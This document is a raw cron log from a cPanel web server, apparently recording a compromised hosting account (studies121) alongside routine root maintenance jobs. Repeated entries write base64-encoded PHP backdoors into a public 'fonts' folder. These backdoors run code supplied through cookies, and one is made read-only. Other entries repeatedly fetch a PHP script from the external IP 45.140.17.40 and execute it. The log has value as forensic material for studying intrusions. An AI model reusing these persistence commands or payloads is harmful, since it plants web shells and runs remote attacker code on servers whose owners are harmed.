Sep 21 10:42:01 ip-184-168-122-23 CROND[14497]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 10:42:01 ip-184-168-122-23 CROND[14500]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 10:43:01 ip-184-168-122-23 CROND[14730]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 10:43:01 ip-184-168-122-23 CROND[14733]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 10:43:01 ip-184-168-122-23 CROND[14732]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 10:43:01 ip-184-168-122-23 CROND[14734]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 10:44:01 ip-184-168-122-23 CROND[14853]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 10:44:01 ip-184-168-122-23 CROND[14854]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 10:44:01 ip-184-168-122-23 CROND[14856]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 10:44:01 ip-184-168-122-23 CROND[14858]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 10:44:01 ip-184-168-122-23 CROND[14859]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 10:45:01 ip-184-168-122-23 CROND[15065]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 10:45:01 ip-184-168-122-23 CROND[15068]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 10:45:01 ip-184-168-122-23 CROND[15069]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 10:45:01 ip-184-168-122-23 CROND[15070]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 10:45:01 ip-184-168-122-23 CROND[15067]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 10:45:01 ip-184-168-122-23 CROND[15071]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 10:46:01 ip-184-168-122-23 CROND[15226]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 10:46:01 ip-184-168-122-23 CROND[15227]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 10:46:01 ip-184-168-122-23 CROND[15230]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 10:46:01 ip-184-168-122-23 CROND[15231]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 10:46:01 ip-184-168-122-23 CROND[15233]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 21 10:46:01 ip-184-168-122-23 CROND[15236]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 21 10:46:01 ip-184-168-122-23 CROND[15234]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 10:47:01 ip-184-168-122-23 CROND[15383]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 10:47:01 ip-184-168-122-23 CROND[15385]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 10:47:01 ip-184-168-122-23 CROND[15384]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 10:47:01 ip-184-168-122-23 CROND[15386]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 10:48:01 ip-184-168-122-23 CROND[15519]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 10:48:01 ip-184-168-122-23 CROND[15522]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 10:48:01 ip-184-168-122-23 CROND[15521]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 10:48:01 ip-184-168-122-23 CROND[15524]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 10:48:01 ip-184-168-122-23 CROND[15523]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 10:49:01 ip-184-168-122-23 CROND[15727]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 10:49:01 ip-184-168-122-23 CROND[15729]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 10:49:01 ip-184-168-122-23 CROND[15730]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 10:49:01 ip-184-168-122-23 CROND[15732]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 10:49:01 ip-184-168-122-23 CROND[15731]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep 21 10:50:01 ip-184-168-122-23 CROND[15885]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 21 10:50:01 ip-184-168-122-23 CROND[15886]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 10:50:01 ip-184-168-122-23 CROND[15887]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 10:50:01 ip-184-168-122-23 CROND[15888]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 10:50:01 ip-184-168-122-23 CROND[15896]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 10:50:01 ip-184-168-122-23 CROND[15897]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 10:50:01 ip-184-168-122-23 CROND[15894]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 10:50:01 ip-184-168-122-23 CROND[15898]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 10:50:01 ip-184-168-122-23 CROND[15895]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 10:51:01 ip-184-168-122-23 CROND[16058]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 10:51:01 ip-184-168-122-23 CROND[16056]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 10:51:01 ip-184-168-122-23 CROND[16057]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 10:51:01 ip-184-168-122-23 CROND[16059]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 10:52:01 ip-184-168-122-23 CROND[16202]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 10:52:01 ip-184-168-122-23 CROND[16201]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 10:52:01 ip-184-168-122-23 CROND[16204]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 10:52:01 ip-184-168-122-23 CROND[16205]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 10:52:01 ip-184-168-122-23 CROND[16206]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 10:53:01 ip-184-168-122-23 CROND[16353]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 10:53:01 ip-184-168-122-23 CROND[16354]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 10:53:01 ip-184-168-122-23 CROND[16355]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 10:53:01 ip-184-168-122-23 CROND[16361]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 10:54:01 ip-184-168-122-23 CROND[16515]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 10:54:01 ip-184-168-122-23 CROND[16516]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 10:54:01 ip-184-168-122-23 CROND[16518]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
